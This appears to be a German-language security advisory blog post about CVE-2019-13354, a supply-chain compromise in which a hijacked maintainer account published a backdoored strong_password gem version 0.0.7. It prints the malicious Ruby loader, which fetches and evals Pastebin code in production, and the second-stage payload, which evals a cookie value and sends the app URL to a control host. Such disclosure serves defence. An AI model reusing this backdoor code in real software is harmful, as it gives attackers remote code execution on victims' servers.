Die Sorge vor Supply-Chain-Angriffen wächst: Remote Code Execution in Ruby-Gem strong_password entdeckt

Am 5. Juli 2019 wurde die Sicherheitswarnung CVE-2019-13354 zu einer schädlichen Version des Ruby-Gems strong_password veröffentlicht. Sie ermöglicht Remote Code Execution in Anwendungen, die die anfällige Abhängigkeit einbinden.

Wir haben die Schwachstelle bereits in unsere Datenbank aufgenommen. Wenn Ihr Ruby-Projekt von Snyk überwacht wird, haben Sie bereits eine unserer regelmäßigen Warnmeldungen erhalten. Falls nicht, empfehlen wir Ihnen dringend, Ihr Projekt zu testen, um zu prüfen, ob Ihre Anwendung von der schädlichen Version betroffen ist.

Derzeit gibt es keine neuere Version von strong_password. Daher empfehlen wir Ihnen, sofort auf eine Version vor der anfälligen Version 0.0.7 zurückzugehen.

Laut der Website Rubygems.org wurde die schädliche Version 0.0.7 insgesamt 537-mal heruntergeladen.

Über die Schwachstelle

Entdeckt wurde diese Schwachstelle vom Betreiber des Blogs withatwist.dev. Wie in seinem Blog berichtet, bemerkte er den Vorfall bei einer manuellen Prüfung, die er routinemäßig bei der Aktualisierung von Abhängigkeiten durchführt.

Beim Vergleich der Änderungsprotokolle veröffentlichter Versionen mit deren Quellcode stellte er fest, dass Version 0.0.7 sechs Monate nach der letzten Veröffentlichung auf Rubygems.org erschienen war – ohne Änderungen am Quellcode im GitHub-Repository.

Beim Durchsehen der Commits für Version 0.0.7 von strong_password fiel ihm der folgende Codeausschnitt auf:

def _!;
  begin;
    yield;
  rescue Exception;
  end;
end

_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  } if Rails.env[0] == "p"
}

Um die Geschichte vollständig zu erzählen, müssen wir uns auch die Payload auf pastebin.com ansehen, die diese schädliche Version verwendet:

_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

Mit beiden Codeausschnitten lässt sich nun die ganze Geschichte rekonstruieren:

1. Der Angreifer konnte das Konto des ursprünglichen Maintainers von strong_password kompromittieren und sich so Veröffentlichungsrechte verschaffen.

2. Eine schädliche Version 0.0.7 mit der ersten Payload wurde auf Rubygems.org veröffentlicht.

3. Diese schädliche Version wird nur ausgelöst, wenn erkannt wird, dass die Anwendung in einer Produktionsumgebung läuft. Erst nach einiger Zeit wird eine Anfrage an pastebin.com gesendet, um die weitere Payload abzurufen und auszuführen.

4. Die zweite Payload von pastebin.com verändert die Methode Sendfile, um den Wert eines HTTP_COOKIE namens ___id auszulesen und auszuführen. Dadurch kann jeder Angreifer aus der Ferne Befehle ausführen.

5. Außerdem sendet der schädliche Code einen Ping an einen Kontrollserver, um die URL der laufenden Anwendung zu übermitteln.

Der Blogbetreiber meldete das Problem umgehend dem Maintainer. Dieser stellte daraufhin fest, dass er keinen Zugriff mehr hatte, um die Version zurückzuziehen oder anderweitig Abhilfe zu schaffen. Anschließend informierte er die Rubysec-Advisories-Community, die weitere Maßnahmen ergriff. Daraufhin wurde die schädliche Version 0.0.7 zurückgezogen und erhielt eine CVE-Kennung.

Schwachstellen durch schädlichen Code und Supply-Chain-Angriffe

Dieser Vorfall ähnelt dem Fall eines anderen Ruby-Gems-Pakets vor gerade einmal drei Monaten.

Auch bei bootstrap-sass konnte ein Angreifer ein Maintainer-Konto auf Rubygems.org kompromittieren und so eine schädliche Version mit einer Backdoor für Remote Code Execution veröffentlichen.

Rubygems.org ist nicht die einzige Plattform, auf der es Supply-Chain-Angriffe gibt. Erst vor zwei Wochen haben wir über ein schädliches npm-Paket berichtet, das es auf Kryptowährungs-Wallets abgesehen hat. Zum Glück konnten die Community und die Sicherheitsteams von npm und Rubygems in beiden Fällen schnell genug reagieren.